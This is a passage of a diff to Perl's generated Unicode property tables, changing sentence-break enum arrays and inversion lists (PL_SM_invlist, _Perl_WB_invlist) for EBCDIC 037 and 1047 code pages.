SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Numeric, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_STerm, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_STerm, + SB_Other, + SB_STerm, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Numeric, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Numeric, + SB_OLetter, + SB_STerm, + SB_Lower, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Lower, + SB_Extend, + SB_Other, + SB_Extend, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Sp, + SB_Format, + SB_Extend, + SB_Format, + SB_Other, + SB_SContinue, + SB_Other, + SB_Close, + SB_Other, + SB_ATerm, + SB_Other, + SB_Sep, + SB_Format, + SB_Sp, + SB_Other, + SB_Close, + SB_Other, + SB_STerm, + SB_Other, + SB_Close, + SB_STerm, + SB_Other, + SB_Sp, + SB_Format, + SB_Other, + SB_Format, + SB_Other, + SB_Lower, + SB_Other, + SB_Close, + SB_Lower, + SB_Other, + SB_Close, + SB_Other, + SB_Lower, + SB_Other, + SB_Extend, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Upper, + SB_Lower, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Extend, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Other, + SB_STerm, + SB_Other, + SB_Close, + SB_Other, + SB_Sp, + SB_SContinue, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Numeric, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Lower, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_STerm, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_STerm, + SB_Numeric, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_OLetter, + SB_Extend, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Numeric, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Close, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_SContinue, + SB_Other, + SB_SContinue, + SB_Other, + SB_Close, + SB_Other, + SB_Extend, + SB_Other, + SB_SContinue, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_SContinue, + SB_ATerm, + SB_Other, + SB_SContinue, + SB_STerm, + SB_SContinue, + SB_Close, + SB_Other, + SB_SContinue, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Format, + SB_Other, + SB_STerm, + SB_Other, + SB_Close, + SB_Other, + SB_SContinue, + SB_ATerm, + SB_Other, + SB_SContinue, + SB_Other, + SB_STerm, + SB_Other, + SB_Upper, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Lower, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_STerm, + SB_Close, + SB_SContinue, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Format, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Format, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_STerm, + SB_Other, + SB_Extend, + SB_STerm, + SB_Other, + SB_Numeric, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Other, + SB_STerm, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_STerm, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_STerm, + SB_Other, + SB_Upper, + SB_Lower, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_STerm, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Other, + SB_OLetter, + SB_STerm, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_STerm, + SB_Format, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Format, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Upper, + SB_Lower, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Close, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Format, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other }; -# endif /* EBCDIC 1047 */ +#endif /* defined(PERL_IN_REGEXEC_C) */ -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 +#if defined(PERL_IN_PERL_C) -static const UV PL_SM_invlist[] = { /* for EBCDIC 037 */ - 131, /* Number of elements */ +static const UV _Perl_WB_invlist[] = { /* for EBCDIC 1047 */ + 1680, /* Number of elements */ 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; + 0, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, + 0x5, + 0x6, + 0xB, + 0xD, + 0xE, + 0x15, + 0x16, + 0x25, + 0x26, + 0x40, + 0x42, + 0x4A, + 0x4B, 0x4C, - 0x4D, - 0x4E, - 0x50, + 0x51, + 0x5A, + 0x5E, 0x5F, - 0x60, + 0x62, + 0x6A, + 0x6B, + 0x6C, + 0x6D, 0x6E, - 0x6F, + 0x70, + 0x79, + 0x7A, + 0x7B, + 0x7D, 0x7E, 0x7F, + 0x80, + 0x8A, + 0x8C, 0x8F, - 0x90, + 0x91, + 0x9D, + 0x9E, + 0x9F, + 0xA0, 0xA1, 0xA2, - 0xBF, - 0xC0, - 0xE1, - 0xE2, - 0x3F6, - 0x3F7, - 0x606, - 0x609, - 0x2044, - 0x2045, - 0x2052, - 0x2053, - 0x207A, - 0x207D, - 0x208A, - 0x208D, - 0x2118, - 0x2119, - 0x2140, - 0x2145, - 0x214B, - 0x214C, - 0x2190, - 0x2195, - 0x219A, - 0x219C, - 0x21A0, - 0x21A1, - 0x21A3, - 0x21A4, - 0x21A6, - 0x21A7, - 0x21AE, - 0x21AF, - 0x21CE, - 0x21D0, - 0x21D2, - 0x21D3, - 0x21D4, - 0x21D5, - 0x21F4, - 0x2300, - 0x2320, - 0x2322, - 0x237C, - 0x237D, - 0x239B, - 0x23B4, - 0x23DC, - 0x23E2, - 0x25B7, - 0x25B8, - 0x25C1, - 0x25C2, - 0x25F8, - 0x2600, - 0x266F, - 0x2670, - 0x27C0, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2800, - 0x2900, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2B00, - 0x2B30, - 0x2B45, - 0x2B47, - 0x2B4D, - 0xFB29, - 0xFB2A, - 0xFE62, - 0xFE63, - 0xFE64, - 0xFE67, - 0xFF0B, - 